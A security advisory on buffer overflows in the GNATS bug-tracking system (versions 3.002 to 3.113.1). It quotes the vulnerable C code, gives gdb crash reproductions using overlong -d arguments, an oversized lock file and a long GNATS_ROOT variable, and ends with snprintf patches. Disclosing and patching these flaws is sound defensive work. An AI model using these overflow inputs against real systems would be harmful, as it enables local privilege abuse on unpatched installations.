|
Brought to you by:
Suppliers of:
|
|
|
| |
| GNATS is a portable incident/bug report/help request-tracking system which runs on UNIX-like operating systems. It easily handles thousands of problem reports, has been in wide use since the early 90s, and can do most of its operations over e-mail. Several front end interfaces exist, including command line, emacs, and Tcl/Tk interfaces. There are also a number of Web (CGI) interfaces written in scripting languages like Perl and Python. The product has been found to contain multiple locally exploitable buffer overflow vulnerabilities. |
| |
Credit:
The information has been provided by dong-h0un U.
|
| |
Vulnerable systems:
* GNATS version 3.002
* GNATS version 3.113.1
* GNATS version 3.113
Pr-edit Heap Based Overflow
A vulnerability exists in function that handles the directory name that the user provides (the `-d' option):
`/gnats-3.2/gnats/pr-edit.c':
--
...
83 void
84 main (argc, argv)
85 int argc;
86 char **argv;
87 {
...
170 lock_gnats ();
...
--
The lock_gnats() function can be found in `/gnats-3.2/gnats/internal.c' line:199.
Vulnerable code:
`/gnats-3.2/gnats/internal.c':
--
...
199 void
200 lock_gnats ()
201 {
202 char *path = (char *) xmalloc (PATH_MAX);
...
206 sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root); // here.
...
--
Pr-edit Stack Based Overflow
A vulnerability exists in the product's file handling (reading) process. Whenever the program reads a "PR".lock file an undefined buffer (in the matter of size) is read into a limited sized buffer (1024).
The lock_pr() function can be found in the `/gnats-3.2/gnats/pr-edit.c' line:390 file.
Vulnerable code:
`/gnats-3.2/gnats/pr-edit.c':
--
...
172 switch (edit_options) {
173 case LOCK:
174 result = lock_pr (fname, username);
175 break;
...
390 static int
391 lock_pr (fname, user)
392 char *fname, *user;
393 {
...
403 if (stat (lock_path, &buf) == 0)
404 {
405 FILE *fp = fopen (lock_path, "r");
406 char buf[1024];
...
413 fscanf (fp, "%s", buf); // here.
414 fprintf (stderr, "%s: PR %s locked by %s\n", program_name,
415 fname, buf);
416 fclose (fp);
...
--
Gen-index, pr-edit, queue-pr Heap Based Environment Variable Overflow
The init_gnats() function found in `/gnats-3.113.1/gnats/pr-edit.c' code. (line:170) file, is vulnerable to an overflow:
`/gnats-3.113.1/gnats/pr-edit.c':
--
...
170 init_gnats (program_name);
...
--
Another function, configure() found in `/gnats-3.113.1/gnats/misc.c' code. (line:41) file, is also vulnerable to an overflow:
`/gnats-3.113.1/gnats/misc.c':
--
...
41 void
42 init_gnats (program_name)
43 char *program_name;
...
48 configure ();
...
--
init_gnats() -> configure() -> getenv();
`/gnats-3.113.1/gnats/config.c':
--
...
132 if (! gnats_root)
133 {
134 gnats_root = getenv ("GNATS_ROOT");
...
--
Exploit:
GNATS v3.002 pr-edit Heap Overflow:
Recreation:
(gdb) r -d`perl -e 'print "x"x9000'`
Starting program: /usr/local/lib/gnats/./pr-edit -d`perl -e 'print "x"x9000'`
Program received signal SIGSEGV, Segmentation fault.
0x40075cf5 in __mempcpy (dstpp=0x8051988, srcpp=0xbfffd9e5, len=9000)
at ../sysdeps/generic/mempcpy.c:57
57 ../sysdeps/generic/mempcpy.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4006fcba in chunk_alloc (ar_ptr=0x40104040, nb=4104) at malloc.c:2884
2884 malloc.c: No such file or directory.
(gdb)
GNATS v3.002 pr-edit Stack Overflow:
Recreation:
[x82@xpl017elz gnats]$ perl -e 'print "x"x2000' > /tmp/x82.lock
[x82@xpl017elz gnats]$ cat /tmp/x82.lock
xxxxxxxxxxxxxxxxxxxxxx ... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ... xxxxxxxxx
[x82@xpl017elz gnats]$ gdb -q pr-edit
(gdb) r -d /tmp/ -l ./x82 ./x82
Starting program: /usr/local/lib/gnats/./pr-edit -d /tmp/ -l ./x82 ./x82
pr-edit: PR locked by xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ...
... xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Program received signal SIGSEGV, Segmentation fault.
0x4005d72a in _IO_vfprintf (s=0xbfffcf94,
format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff70c)
at vfprintf.c:1259
1259 vfprintf.c: No such file or directory.
(gdb) where
#0 0x4005d72a in _IO_vfprintf (s=0xbfffcf94,
format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff70c)
at vfprintf.c:1259
#1 0x400606b4 in buffered_vfprintf (s=0x40103d20,
format=0x804cea7 "%s: PR %s locked by %s\n", args=0xbffff704)
at vfprintf.c:1758
#2 0x4005bf66 in _IO_vfprintf (s=0x40103d20,
format=0x804cea7 "%s: PR %s locked by %s\n", ap=0xbffff704)
at vfprintf.c:1029
#3 0x40063f47 in fprintf (stream=0x40103d20,
format=0x804cea7 "%s: PR %s locked by %s\n") at fprintf.c:32
#4 0x80498a9 in lock_pr (fname=0x78787878 <Address 0x78787878 out of bounds>,
user=0x78787878 <Address 0x78787878 out of bounds>) at pr-edit.c:414
#5 0x78787878 in ?? ()
Cannot access memory at address 0x78787878.
(gdb)
GNATS v3.113.x pr-edit, queue-pr, gen-index Heap based environment variable Overflow:
Recreation:
bash-2.04$ export GNATS_ROOT=`perl -e 'print "x"x5000'`
bash-2.04$ gdb -q ./pr-edit
(gdb) r
Starting program: /usr/local/libexec/gnats/./pr-edit
Program received signal SIGSEGV, Segmentation fault.
0x804c416 in init_states () at files.c:611
611 s_end->next = s;
(gdb) where
#0 0x804c416 in init_states () at files.c:611
#1 0x78787878 in ?? ()
Cannot access memory at address 0x78787878
(gdb)
Patch:
GNATS v3.002 patch:
=== gnats-3.002.patch ===
--- internal.c Sat Dec 11 05:02:19 1993
+++ ../gnats.bak/internal.c Sat Jun 14 15:18:10 2003
@@ -203,7 +203,7 @@
struct stat buf;
int count;
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
#define MAXWAIT 10
#define GRANULARITY 1
--- pr-edit.c Sat Dec 11 05:02:27 1993
+++ ../gnats.bak/pr-edit.c Sat Jun 14 15:16:35 2003
@@ -410,7 +410,7 @@
if (fp == (FILE *) NULL)
return 0;
- fscanf (fp, "%s", buf);
+ fscanf (fp, "%1023s", buf);
fprintf (stderr, "%s: PR %s locked by %s\n", program_name,
fname, buf);
fclose (fp);
=== eof ===
GNATS v3.113 patch:
=== gnats-3.113.patch ===
--- files.c Wed Sep 22 08:18:39 1999
+++ ../gnats.bak/files.c Sat Jun 14 14:06:17 2003
@@ -271,7 +271,7 @@
char *path = (char *) alloca (PATH_MAX);
memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
fp = fopen (path, "r");
if (fp == NULL)
return 0;
@@ -358,7 +358,7 @@
int i, nerrs = 0;
memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CLASSES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CLASSES);
fp = fopen (path, "r");
if (fp == NULL)
@@ -585,7 +585,7 @@
int i, nerrs = 0;
memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
fp = fopen (path, "r");
if (fp == NULL)
--- gen-index.c Wed Sep 22 08:18:39 1999
+++ ../gnats.bak/gen-index.c Sat Jun 14 14:06:55 2003
@@ -256,7 +256,7 @@
Categories *c;
if (! catfile)
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
else
path = catfile;
--- index.c Thu Mar 18 08:45:38 1999
+++ ../gnats.bak/index.c Sat Jun 14 14:07:43 2003
@@ -399,7 +399,7 @@
if (! index_filename)
{
index_filename = (char *) xmalloc (PATH_MAX);
- sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
+ snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, INDEX);
}
fp = fopen (index_filename, "r");
--- internal.c Wed Mar 3 09:18:53 1999
+++ ../gnats.bak/internal.c Sat Jun 14 14:08:27 2003
@@ -238,7 +238,7 @@
struct stat buf;
int count;
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
#define MAXWAIT 10
#define GRANULARITY 1
=== eof ===
GNATS v3.113.1 patch:
=== gnats-3.113.1.patch ===
--- files.c Mon Feb 12 06:36:25 2001
+++ ../gnats.bak/files.c Sat Jun 14 13:17:58 2003
@@ -271,7 +271,7 @@
char *path = (char *) alloca (PATH_MAX);
memset (array, 0, NUM_RESPONSIBLE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, RESPONSIBLE_FILE);
fp = fopen (path, "r");
if (fp == NULL)
return 0;
@@ -358,7 +358,7 @@
int i, nerrs = 0;
memset (array, 0, NUM_CLASS_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CLASSES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CLASSES);
fp = fopen (path, "r");
if (fp == NULL)
@@ -593,7 +593,7 @@
int i, nerrs = 0;
memset (array, 0, NUM_STATE_FIELDS * sizeof (char *));
- sprintf (path, "%s/gnats-adm/%s", gnats_root, STATES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, STATES);
fp = fopen (path, "r");
if (fp == NULL)
--- gen-index.c Wed Sep 22 08:18:39 1999
+++ ../gnats.bak/gen-index.c Sat Jun 14 13:19:58 2003
@@ -256,7 +256,7 @@
Categories *c;
if (! catfile)
- sprintf (path, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, CATEGORIES);
else
path = catfile;
--- index.c Thu Mar 18 08:45:38 1999
+++ ../gnats.bak/index.c Sat Jun 14 13:22:21 2003
@@ -399,7 +399,7 @@
if (! index_filename)
{
index_filename = (char *) xmalloc (PATH_MAX);
- sprintf (index_filename, "%s/gnats-adm/%s", gnats_root, INDEX);
+ snprintf (index_filename, PATH_MAX-1, "%s/gnats-adm/%s", gnats_root, INDEX);
}
fp = fopen (index_filename, "r");
--- internal.c Wed Mar 3 09:18:53 1999
+++ ../gnats.bak/internal.c Sat Jun 14 14:09:45 2003
@@ -238,7 +238,7 @@
struct stat buf;
int count;
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
#define MAXWAIT 10
#define GRANULARITY 1
=== eof ===
|
|
|
|
|